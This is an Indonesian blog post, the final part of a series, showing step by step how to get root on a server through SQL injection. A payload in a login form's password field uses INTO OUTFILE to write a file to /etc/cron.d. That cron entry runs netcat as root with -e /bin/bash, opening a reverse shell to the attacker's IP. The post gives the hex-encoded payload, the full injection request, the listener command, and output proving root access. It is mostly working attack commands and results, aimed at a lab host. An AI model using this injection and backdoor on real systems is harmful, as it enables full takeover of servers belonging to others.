0

SQL Injection Level 4 [Final]

Selasa, 26 Februari 2013
Share this Article on :
Setelah kita menjalani tiga step dari SQL Injection level 4, akhirnya kita sampai di tahap final. Tahap final adalah tahap rooting. Kali ini saya akan menjelaskan cara melakukan rooting hanya dengan menggunakan teknik SQL Injection level 4.

Masih sama dengan posting tempo lalu, saya masih menggunakan burpsuite untuk membantu saya dalam melakukan decode dan sql injecting.



Preparation :
  1. Burpsuite [dapat ditemukan di backtrack]
  2. Netcat  [dapat ditemukan di backtrack]
Briefing :
  1. Ketahuilah apa fungsi dari file yang terdapat di directory /etc/cron.d/
  2. Membuat file baru pada directory /etc/cron.d/ dengan perintah back connect root kepada komputer attacker. 
  3. Game Over.
Walkthrough

 1. Apa itu file cron.d?

Saya akan menjelaskan dengan singkat, apa fungsi dari file /etc/cron.d. File yang terdapat dalam directory ini akan dieksekusi setiap 2 - 5 menit sekali oleh user yang bersangkutan. User yang bersangkutan?

Contoh sederhana dari file /etc/cron.d/ adalah

Command :
* * * * * www-data date>>/tmp/date

Kita memiliki contoh file cron.d di sini, sebut saja nama file ini date

Command :
<< back|track 5 R2 [~] ls -l /etc/cron.d/date-rw-r--r-- 1 root root 35 2012-05-01 12:01 /etc/cron.d/date 

Command :
<< back|track 5 R2 [~] cat /etc/cron.d/date* * * * * www-data date>>/tmp/date


User www-data akan mengeksekusi perintah

date>>/tmp/date

Dimana output dari perintah date akan disimpan di /tmp/date. Sekarang kita cek isi dari file /tmp/date

Command :
<< back|track 5 R2 [~] cat /tmp/dateTue May  1 11:24:57 WIT 2012
Tue May  1 11:26:01 WIT 2012



Perhatikan, file /etc/cron.d/date dieksekusi setiap 2 menit. Bagaimana jika user kita ganti dengan root? Tentu saja bisa.


2. Back connect root

Kita bisa melakukan back connect root jika netcat dieksekusi oleh root. Sederhananya, kita cukup mengganti user dengan root, kemudian kita tambahkan dengan dengan peritah back connect netcat.

Command :
* * * * * root /bin/nc.traditional 172.16.243.1 1234 -e /bin/bash

Anda bisa mencari tau mengapa saya bisa menemukan netcat pada server target di posting SQL Injection Level 4 [Part 3]. Sementara 172.16.243.1 adalah IP Address saya.

Kemudian kita decode perintah ini dari ASCII ke HEX dengan bantuan burpsuite. Saya tidak akan menjelaskan lagi cara melakukan decode ASCII ke HEX dengan burpsuite, anda dapat membacanya pada postingan sebelumnya pada SQL Injection Level 4 [Part 3].


Ok. Perintah suda di decode menjadi HEX. Sekarang perintah menjadi

Command :
2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a

Catatan Penting:
Ketika melakukan decode dengan burpsuite, pastikan anda menambahkan line baru setelah perintah netcat. Perhatikan gambar di atas.

Setelah di decode, maka kita masukan perintah SQL seperti ini:

Command :
myusername=admin&mypassword=%27 and 1=1 union select 0x20,0x20,0x20 into outfile '/etc/cron.d/backdoor' lines terminated by 0x2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a -- &Submit=Login

Perintah di atas akan membuat file baru bernama backdoor pada directory /etc/cron.d/. Sebelum klik tombol GO pada burpsuite, masukan perintah berikut pada terminal, ini berfungsi agar anda dapat menerima koneksi netcat dari root komputer target.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...

Kemudian klik tombol GO. Ok, kali ini saya akan membuat bukti bahwa file cron.d dieksekusi dalam 2 menit. Setelah mengklik tombol GO, saya melakukan cek tanggal dan waktu.

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012


3. Game Over

Jika file /etc/cron.d/backdoor pada server target berhasil dieksekusi, maka pada konsol netcat akan muncul.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648


Kemudian saya cek kembali tanggal saya

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012<< back|track 5 R2 [~] dateTue May  1 11:47:03 WIT 2012

File /etc/cron.d/backdoor dieksekusi dalam waktu kurang dari 2 menit. Sekarang kita cek ID pada netcat kita, apakah ini root?

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648
id
uid=0(root) gid=0(root) groups=0(root)


There you go! You got root.


Artikel Terkait:

0 komentar:

Posting Komentar